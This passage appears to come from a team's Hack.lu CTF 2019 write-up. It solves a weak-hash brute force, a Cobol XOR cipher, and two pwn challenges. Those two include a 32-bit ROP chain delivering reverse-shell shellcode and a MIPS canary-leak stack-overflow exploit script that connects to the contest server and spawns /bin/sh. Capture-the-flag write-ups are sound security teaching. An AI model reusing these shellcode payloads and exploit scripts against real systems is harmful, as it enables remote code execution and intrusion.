    while ( offset_in_string < string_len )
    {
      memset(&hash_context, 0, sizeof(hash_context_t));
      ...
      sha3_512_hash_digest(
        &hash_context,
        (unsigned __int8 *)&p_input_buffer_data[offset_in_string],
        string_len - offset_in_string);
      first_byte_from_hash = *(_BYTE *)sha3_512_hash_finalize(&hash_context);
      string::append_char(&appended_hash_bytes_result, v9, v2, first_byte_from_hash);
      --offset_in_string;
      ...
    }

Seeing that this implementation only hashes one new character at a time, thereby weakening it, gave us an idea how to brute force it.

Brute forcing the hash

The first character hashed is the last of the input string, and the first character of the digest must equal the first char in our target hash string. So it can easily be brute forced, by enumerating over all 256 options, and comparing against our known result.
Once we have the last character of the input, we can proceed to brute force the one before last character, together with the last one, and expect to get the second output character as the first byte of the digest.
We repeat this process until receiving all the input bytes.
This algorithm is not promised to be collision free, but we hoped that it will indeed end in a reasonable time and give us results.

The python implementation:

import hashlib

target = bytes.fromhex("C81477CEFC17B7241647696EDD01341E156B6C3073ACF9BD4413168AE5F04A062D7F75C508")

def func(bytes_so_far):
    if len(bytes_so_far) == len(target):
        print(bytes_so_far)
        return

    for i in range(256):
        h = hashlib.sha3_512()
        h.update(bytes([i]) + bytes_so_far)
        x = h.digest()[0]
        if x == target[len(bytes_so_far)]:
            func(bytes([i]) + bytes_so_far)

func(b"")

Running the script gives the following output

b'/\xcd\\xafj\xfb\xec\x1e\xc3<\xcc\xe0\xdcN&\xd6\x04g@\x81qV\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'8\xcd\\xafj\xfb\xec\x1e\xc3<\xcc\xe0\xdcN&\xd6\x04g@\x81qV\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'M\x81\xc7Q\xbc\x1b\x15\x1ai\x12\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'\x95\x81\xc7Q\xbc\x1b\x15\x1ai\x12\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b't\x90\x80\xf6\xbc\x1b\x15\x1ai\x12\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'v\x00\xa9\xc5\xdeO\xeaSk\x12\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'\x87\x00\xa9\xc5\xdeO\xeaSk\x12\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'\xa0\x9b\x83v\xf1l_|\xbc\xb4\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'\xb3\x9b\x83v\xf1l_|\xbc\xb4\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'\x83\x9f\xd1v\xf1l_|\xbc\xb4\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'\x04/^\xc0\x88A\x10\x9b\xbc\xb4\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'R/^\xc0\x88A\x10\x9b\xbc\xb4\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'\xeb/^\xc0\x88A\x10\x9b\xbc\xb4\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'7=m;e:\xf2\xd8U\xff\x8c\x16\xc4\xb0G]\xcbC\x18\xb9\xber"\xf9\xc7\xab\xb7\x890O2_4w4y}'  <br>
b'\x91=m;e:\xf2\xd8U\xff\x8c\x16\xc4\xb0G]\xcbC\x18\xb9\xber"\xf9\xc7\xab\xb7\x890O2_4w4y}'  <br>
b'\xb4=m;e:\xf2\xd8U\xff\x8c\x16\xc4\xb0G]\xcbC\x18\xb9\xber"\xf9\xc7\xab\xb7\x890O2_4w4y}'  <br>
<strong>b'flag{4_tr33_a_d4y_k33ps_th3_cO2_4w4y}'</strong>  <br>
b'plag{4_tr33_a_d4y_k33ps_th3_cO2_4w4y}'  <br>
b'=\xc8\xabg{4_tr33_a_d4y_k33ps_th3_cO2_4w4y}'  <br>
b'M\xc3\xdc\x836A\xea\x9e;\xa43_a_d4y_k33ps_th3_cO2_4w4y}'  <br>
b'M2(H\xcb\x1cq\x8c\xde\xa43_a_d4y_k33ps_th3_cO2_4w4y}'  <br>
b'\x87i(H\xcb\x1cq\x8c\xde\xa43_a_d4y_k33ps_th3_cO2_4w4y}'  <br>
b'\x9f\xab(H\xcb\x1cq\x8c\xde\xa43_a_d4y_k33ps_th3_cO2_4w4y}'  <br>
b'\xdc\xab(H\xcb\x1cq\x8c\xde\xa43_a_d4y_k33ps_th3_cO2_4w4y}'  <br>
b'\xab\x9d\x0f\x84{\x12\xaf}\xceP\xb9 ~_d4y_k33ps_th3_cO2_4w4y}'  <br>
b"\xe8'\xe2w\xd3\x12\xaf}\xceP\xb9 ~_d4y_k33ps_th3_cO2_4w4y}"  

python3 solve.py 0.24s user 0.00s system 99% cpu 0.249 total

It’s quite easy to see which of the inputs is the requested flag…

HACK.LU CTF 2019

Cobol OTP challenge

Description

To save the future you have to look at the past. Someone from the inside sent you an access code to a bank account with a lot of money. Can you handle the past and decrypt the code to save the future?

Setup

The challenges include two files otp.cob and out

otp.cob is a Cobol program that at a glance, encrypts a message by xoring an unknown key (50 bytes) with a message (50 bytes as well)

out looks like an encrypted message:

$ hexdump -C out

00000000 45 6e 74 65 72 20 79 6f 75 72 20 6d 65 73 73 61 |Enter your messa|
00000010 67 65 20 74 6f 20 65 6e 63 72 79 70 74 3a 0a a6 |ge to encrypt:..|
00000020 d2 13 96 79 3b 10 64 68 75 9f dd 46 9f 5d 17 55 |...y;.dhu..F.].U|
00000030 6a 68 43 8f 8c 2d 92 31 07 54 60 68 26 9f cd 46 |jhC..-.1.T`h&..F|
00000040 87 31 2a 54 7b 04 5f a6 eb 06 a4 70 30 11 32 4a |.1*T{._....p0.2J|
00000050 0a                                              |.|

Issue 1

Taking a look at the heart of the encryption:

call 'CBL_XOR' using ws-key(ws-ctr:1) ws-flag by value ws-xor-len end-call

Reading the documentation https://documentation.microfocus.com/help/index.jsp?topic=%2FGUID-0E0191D8-C39A-44D1-BA4C-D67107BAF784%2FHRCLRHCALL5H.html we discover that this performs a
xor between ws-key[ws-ctr] and ws-flag with the length of ws-xor-len bytes. The result is stored in ws-flag.

Looking at the types we’ve understood that ws-ctr and ws-xor-len are one decimal digit long only. Therefore ws-ctr will wrap around every 10 bytes.

Thus, this limits the valid key space, since the xor of the key with the encrypted data must yield a printable character. In this case, we see that

encrypted[1]  ^ key[1] = printable_char1
encrypted[11] ^ key[1] = printable_char2
encrypted[21] ^ key[1] = printable_char3
encrypted[31] ^ key[1] = printable_char4
encrypted[41] ^ key[1] = printable_char5

And, of course, this holds for the key[2], etc..

Issue 2

Remembering that Cobol arrays are 1 based, the value of ws-flag(ws_ctr:1) when ws_ctr is 0 yields nothing and the xor is effectively nullified, and this gives us 5 unencrypted chars for free:

<code>*********u*********C*********&*********_*********\n</code>

Since we had ~40 options for every character and still have 9 key character to guess we start by assuming the message looks like “flag{***************}\n“, where the * mean unknown character.

Pluging in the right key chars to yield the above string we get:

<code>flag{***_u_c4n_***_CO2_c3***_&_s4v3***3_fUtUr***}\n</code>

Now we could try to read the message and guess the needed keys. By assuming the word save (s4v3) should have _ after it and future is a reasonable word we tried all the options to get meaningful phrases from:

<code>flag{N**_u_c4n_b**_CO2_c3r**_&_s4v3_**3_fUtUrE**}\n</code>

With a little guess work we think it reads something along the lines of: Now you can buy CO2 cer** & save the future**

Pluging in our guesses gave us the full flag:

<code>flag{N0w_u_c4n_buy_CO2_c3rts_&_s4v3_th3_fUtUrE1!}</code>

Chat

Hacklu CTF 2019

Category:pwn – Difficulty: easy – points: 381 – solves: 16

To coordinate our efforts for a better future we started to build a chat program. While it doesn’t have much functionality, yet, maybe you could have a look at it already to see if you can find any serious vulnerabilities. You know, better save than sorry!

Download challenge files

nc chat.forfuture.fluxfingers.net 1337

We are faced with an elf executable. Looks like a simple chat program.
It lets you create Chat channels, join and pause channels.

Command Commands:
    /nc - New Chat Channel - Create and join a new Chat Channel.
    /jc x   - Join Chat Channel - Join the Chat Channel number x.
    /lc - List Chat Channels - Lists the Chat Channels.
    /q  - Quit - Quit this awesome chat program.
    /h  - Help - Print this help message.

Inside a channel you have the following commands:

Chat Commands:
    /e  - Echo - The first line following this command specifies the number of characters to echo.
    /pc - Pause Chat Channel - Return to Command Channel. The Chat Channel stays open.
    /qc - Quit Chat Channel - Return to Command Channel. The Chat Channel is terminated.
    /h  - Help - Print this help message.
That's all for now :/

The echo command looks promising:

if ( strlen(command) != 3 || command[0] != '/' || command[1] != 'e' )
            break;
          v15 = 32;
          if ( !fgets(command) )
            v14 = printf("Chat Command Error: Reading Echo Size\n");
          size = atoi(command);
          size_plus_1 = size + 1;
          stack_addr = (int *)((char *)&v4 - ((size + 16) & 0xFFFFFFF0));
          if ( !fgets((char *)&v4 - ((size + 16) & 0xFFFFFFF0)) )
          {
            active[v23] = 2;
            return 0;
          }
          v13 = 1;
          v12 = stack_addr;
          v2 = strlen(stack_addr);
          v11 = write(1, v12, v2);
          v10 = 1;
          v9 = write(1, "\n", 1);

There is no validation of the size when using fgets to write to a stack location.
Our first impulse was to try and pass a negative number as size – and in this way to overwrite our own stack frame and our return-address. This didn’t work since the fgets validates size > 0.
We then tried to think of what we can overwrite if we can write to addresses lower than our stack.
Looking at vmmap after /nc command:

gef➀  vmmap
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-- /.../chat
0x08049000 0x080c2000 0x00001000 r-x /.../chat
0x080c2000 0x080f3000 0x0007a000 r-- /.../chat
0x080f4000 0x080f8000 0x000ab000 rw- /.../chat
0x080f8000 0x0811d000 0x00000000 rw- [heap]
0xf7fbc000 0xf7fbd000 0x00000000 ---    
0xf7fbd000 0xf7ff9000 0x00000000 rw-    <--- CHANNEL 1 STACK (size 0x3c000)
0xf7ff9000 0xf7ffc000 0x00000000 r-- [vvar]
0xf7ffc000 0xf7ffe000 0x00000000 r-x [vdso]
0xfffdd000 0xffffe000 0x00000000 rw- [stack]

After leaving the channel (/pc) and creating a new one (/nc) we see:

gef➀  vmmap
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-- /.../chat
0x08049000 0x080c2000 0x00001000 r-x /.../chat
0x080c2000 0x080f3000 0x0007a000 r-- /.../chat
0x080f4000 0x080f8000 0x000ab000 rw- /.../chat
0x080f8000 0x0811d000 0x00000000 rw- [heap]
0xf7f7f000 0xf7f80000 0x00000000 --- 
0xf7f80000 0xf7fbc000 0x00000000 rw- <-- CHANNEL 2 STACK
0xf7fbc000 0xf7fbd000 0x00000000 --- 
0xf7fbd000 0xf7ff9000 0x00000000 rw- <-- CHANNEL 1 STACK
0xf7ff9000 0xf7ffc000 0x00000000 r-- [vvar]
0xf7ffc000 0xf7ffe000 0x00000000 r-x [vdso]
0xfffdd000 0xffffe000 0x00000000 rw- [stack]

So by using the echo command from channel 1 we can overwrite the stack of channel 2. This seems promising πŸ™‚

After a little experimentation with the sizes we got this:

gef➀  run < input.txt 
Starting program: /.../chat < input.txt
Command Channel:
[New LWP 31829]
> Chat Channel 1:
> Command Channel:
[New LWP 31830]
> Chat Channel 2:
> Command Channel:
> Joining Chat Channel.
Chat Channel 1:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj

[LWP 31829 exited]

Thread 3 "chat" received signal SIGSEGV, Segmentation fault.
[Switching to LWP 31830]
──────────────────────────────────────────────[ registers ]────
$eax   : 0x000000f0
$ebx   : 0x080f63a4  β†’  0x00000000
$ecx   : 0x00000080
$edx   : 0x62616165 ("eaab"?)
$esp   : 0xf7fbb0fc  β†’  0x0807a883  β†’  <__libc_disable_asynccancel+115> cmp eax, 0xfffff000
$ebp   : 0x000000f0
$esi   : 0x00000000
$edi   : 0x080f5f74  β†’  0x00000000
$eip   : 0x61616161 ("aaaa"?)
$cs    : 0x00000023
$ss    : 0x0000002b
$ds    : 0x0000002b
$es    : 0x0000002b
$fs    : 0x00000000
$gs    : 0x00000063
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
──────────────────────────────────────────────────[ stack ]────
0xf7fbb0fcβ”‚+0x00: 0x0807a883  β†’  <__libc_disable_asynccancel+115> cmp eax, 0xfffff000    ← $esp
0xf7fbb100β”‚+0x04: 0x00000000
0xf7fbb104β”‚+0x08: 0x00000000
0xf7fbb108β”‚+0x0c: 0x080f7384  β†’  "247392"
0xf7fbb10cβ”‚+0x10: 0xf7fbb198  β†’  0x00000007
0xf7fbb110β”‚+0x14: 0x00000000
0xf7fbb114β”‚+0x18: 0xf7fbbb40  β†’  0x080f7384  β†’  "247392"
0xf7fbb118β”‚+0x1c: 0xf7fbb1a8  β†’  0xf7fbb218  β†’  0xf7fbb2e8  β†’  0x00000000
──────────────────────────────────────────────[ code:i386 ]────
[!] Cannot disassemble from $PC
────────────────────────────────────────────────[ threads ]────
[#0] Id 3, Name: "chat", stopped, reason: SIGSEGV
[#1] Id 1, Name: "chat", stopped, reason: SIGSEGV
──────────────────────────────────────────────────[ trace ]────
───────────────────────────────────────────────────────────────
0x61616161 in ?? ()

Now that we have control of eip – we need to see how to ROP to gain execution of our own shellcode.
We are overwriting the return address on the stack of the function
__kernel_vsyscall.

We can use some bytes in the command buffer (32 total size) and gadgets from the code segment.
We chose to use a reverse shell shellcode.

We ended up doing something a little complicated:
We wrote a ROP chain to do allocate with mmap a 0x1000 byte area with rwx protection at a fixed address (0xf0000000)
We then used memset to write our shellcode to that area.
During the process we noticed that it didn’t work – since we had 0xa in our stack – and fgets will stop reading at newline.
To overcome this, we used memcpy to copy the first 23 bytes from the command buffer and the rest using memset.

This worked πŸ˜‰

'''<br>
import struct<br>
print("/nc")<br>
print("/pc")<br>
print("/nc")<br>
print("/pc")<br>
print("/jc 1")<br>
print("/e")<br>
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xc9\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\x5b\x68\x00\x00\x00\x00\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\x43\xcd\x80\x87\xdf\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x89\xE2\x53\x89\xE1\xB0\x0B\xCD\x80"<br>
print("250000 " + shellcode[:23])<br>
MEMSET="\xb0\x6b\x07\x08"<br>
ADD_ESP_58="\xae\xa6\x04\x08"<br>
ADD_ESP_18="\x88\xab\x04\x08"<br>
MEMCPY="\x90\x6a\x07\x08"<br>
MMAP = "\x40\x94\x07\x08"<br>
s = "aaaabaaacaaa" + MMAP + ADD_ESP_18 + struct.pack("<IIIIIII", 0xf0000000,<br>
        0x1000, 7, 0x20032, 0xffffffff, 0, 0)<br>
shellcode = shellcode[23:]<br>
s += MEMCPY + ADD_ESP_58 + struct.pack("<IIIIIII", 0xf0000000, 0x80f7384 + 7, 23, 0, 0, 0, 0) + "\x00" * 0x40<br>
for i,b in enumerate(shellcode):<br>
    s += MEMSET + ADD_ESP_18 + struct.pack("<IIIIIII", 0xf0000000 + i + 23, ord(b), 1, 0, 0, 0, 0)
s += "\x00\x00\x00\xf0"<br>
print(s)<br>
'''

The flag was: flag{thread_chat_with_alloca}

no risc no future

The challenge:

We use microcontrollers to automate and conserve energy. IoT and stuff. Most of them don't use CISC architectures.

In this challenge we are given 4 files. README.md and it’s pretty self-explanatory. The actual challenge file is no_risc_no_future and the readme specifies we should run it using qemu-mipsel-static. This tells us that the challenge is designed for the MIPS architecture (which is a RISC architecture, unlike CISC).

For this challenge, we chose to use Ghidra, since it has a built-in decompiler for MIPS, which eases our understanding of the exercise.

The code is very simple to read, and this is a textbook stack overflow exercise:

undefined4 main(void)

{
  int read_count;
  undefined buf [64];
  int cookie;

  cookie = __stack_chk_guard;
  read_count = 0;
  while (read_count < 10) {
    read(0,buf,0x100);
    puts(buf);
    read_count = read_count + 1;
  }
  if (cookie != __stack_chk_guard) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

In short:

  • The code reads 0x100 bytes into a 0x40 byte-long buffer (Overflow…).
  • The code prints whatever string is pointed at “buf” (Infoleak…).
  • The code does the following 10 times.

It’s also very clear that we have a stack cookie in place, designed to protect against stack overflows.

Studying the following, it’s very apparent that our challenge here is somehow bypassing the cookie protection mechanism, and then take-over the PC saved in the stack.

We are also provided with the following lines in README.md, which let us debug the binary:

./qemu-mipsel-static -g 1234 no_risc_no_future
gdb-multiarch -ex "break main" -ex "target remote localhost:1234" -ex "continue" ./no_risc_no_future

(Note: my gdb crashed while using gef, but peda seemed to work fine)

Last important point – the code iterates 10 times before finishing, which gives us multiple attempts to exploit the buffer overflow issue. As we’ll soon see – we need a few attempts to properly exploit the binary.

Leaking the cookie

In order to bypass the cookie protection, let’s see where it’s located and what it looks like. This is a dump from gdb, while breaking on read:

gdb-peda$ x/100wx $sp
0x7fffe348:     0x004072a0      0x0049075c      0x00498300      0x0049074c
0x7fffe358:     0x00498300      0x0048c8fc      0x00400e60      0x00000000
0x7fffe368:     0x00400e60      0x00000000      0x00000000      0x00400634
0x7fffe378:     0x00498300      0x7fffe4a4      0x7fffe6e9      0x004002d4
0x7fffe388:     0x00498300      0x0041fb68      0x00000004      0x41414141
0x7fffe398:     0x41414141      0x41414141      0x41414141      0x41414141
0x7fffe3a8:     0x41414141      0x41414141      0x6164730a      0x00420a66
0x7fffe3b8:     0x00498300      0x00000000      0x00000000      0x00400e60
0x7fffe3c8:     0x00000000      0x00000000      0x00000000      0xf7c27700
0x7fffe3d8:     0x00000000      0x004008e8      0x00000000      0x00000000

We can clearly see some AAAA‘s that I delivered as input. The cookie is located exactly 0x40 bytes after the buf start (0x0x7fffe394). Cookie @ 0x7fffe3d4 = 0xf7c27700.

As we can see, the first byte of the cookie is a null byte. This is true for every run of the program (you can check it out yourself). So we know one byte, and left with 3 more. What we can do is overflow 1 byte into the cookie (write 0x41 times some printable character), and then puts will print these bytes, along with the 3 cookie bytes which aren’t null. This way we get an info-leak for the cookie, and can deduce the full cookie from the text that’s printed.

Shellcode

At this point, we wanted to see if we can run code easily from the stack. We copied some MIPS shellcode we found to run bash, put it on the stack, and overwrote the buffer, with the correct cookie, and then PC. Turns out it works! Phew, no need to ROP or anything. BUT, when trying the same thing on the real server, it didn’t work. After thinking a bit, it seems like the stack isn’t always located in the same place, so we need to leak it.

Leaking the stack

Reading the code, and looking at the gdb memory dump, it seems that buf is uninitialized, and is filled with previous “garbage” data. One of the things that are present in the buffer is a stack address.

gdb-peda$ x/100wx $sp
0x7fffe348:     0x004072a0      0x0049075c      0x00498300      0x0049074c
0x7fffe358:     0x00498300      0x0048c8fc      0x00400e60      0x00000000
0x7fffe368:     0x00400e60      0x00000000      0x00000000      0x00400634
0x7fffe378:     0x00498300      0x7fffe4a4      0x7fffe6e9      0x004002d4
0x7fffe388:     0x00498300      0x0041fb68      0x00000001      0x41414141
0x7fffe398:     0x42424242      0x0049070a      0x00000000      0x00400ef4
0x7fffe3a8:     0x00000000      0x00000001      0x7fffe4a4      0x004218c4
0x7fffe3b8:     0x00498300      0x00000000      0x00000000      0x00400e60
0x7fffe3c8:     0x00000000      0x00000000      0x00000000      0x4acc2700
0x7fffe3d8:     0x00000000      0x004008e8      0x00000000      0x00000000

This is another memory dump, showing the buffer “AAAABBBB” as read from the user, and some “leftovers” inside buf. We can clearly see that one of the addresses left inside buf is a stack address – 0x7fffe4a4 @ 0x7fffe3b0. And just in the same manner that we leaked the cookie – we can leak the stack address. Write 0x1c bytes up to the stack address, which will yield in puts printing it along with our data.

This address turns out to always be relative to where our buffer begins (0x7fffe394). These addresses are 0x110 bytes apart. So we know where our shellcode is located, and what value to set PC to.

Summary

To sum everything up – we have 3 important iterations:

  1. Leak stack address.
  2. Leak cookie value
  3. Write shellcode and overwrite PC to point to our shellcode (last iteration)

And that’s a wrap folks. It was a nice, easy challenge.

flag sha1sum: 1afc8fcd93dcee46d7578cb8307580632eb6e545

Code

import time
import socket
import struct
import hexdump
import binascii

#HOST = '127.0.0.1'
#PORT = 1337

HOST = "noriscnofuture.forfuture.fluxfingers.net"
PORT = 1338

def recv_data(s, do_hexdump=False):
    data = s.recv(1024)
    if do_hexdump:
        hexdump.hexdump(data)
    return data

def leak_canary(s):
    leak_canary_msg = "A" * 0x41
    s.send(leak_canary_msg)
    data = recv_data(s)
    canary = b"\x00" + data[0x41:0x44]
    print("canary is: ", binascii.hexlify(canary))
    return canary

def leak_stack(s):
    leak_stack_msg = "A" * 0x1c
    s.send(leak_stack_msg)
    data = recv_data(s)
    stack_addr = data[0x1c:0x20]
    stack_addr = struct.unpack("<I", stack_addr)[0]
    print("stack_addr is: ", hex(stack_addr))
    return stack_addr

def send_stub(s):
    stub_msg = "A" * 0x10
    s.send(stub_msg)
    data = recv_data(s)
    print("sent stub")

def override_pc(s, canary, pc):
    shellcode = b"\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh\x00BBBB"
    assert len(shellcode) == 0x40
    final_msg = shellcode + canary + (b"\x00"*4) + pc
    print("len: ", hex(len(final_msg)))
    assert len(final_msg) == 0x4c
    s.send(final_msg)    
    data = recv_data(s)
    print ("fix cookie, overwrite pc")


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

stack_leak_addr = leak_stack(s)
stack_start_addr = stack_leak_addr-0x110

canary = leak_canary(s)
pc = struct.pack("<I", stack_start_addr)

for i in range(7):
    send_stub(s)

override_pc(s, canary, pc)

time.sleep(2)

s.send("cat flag\n")
recv_data(s, do_hexdump=True)
s.send("cat flag\n")
recv_data(s, do_hexdump=True)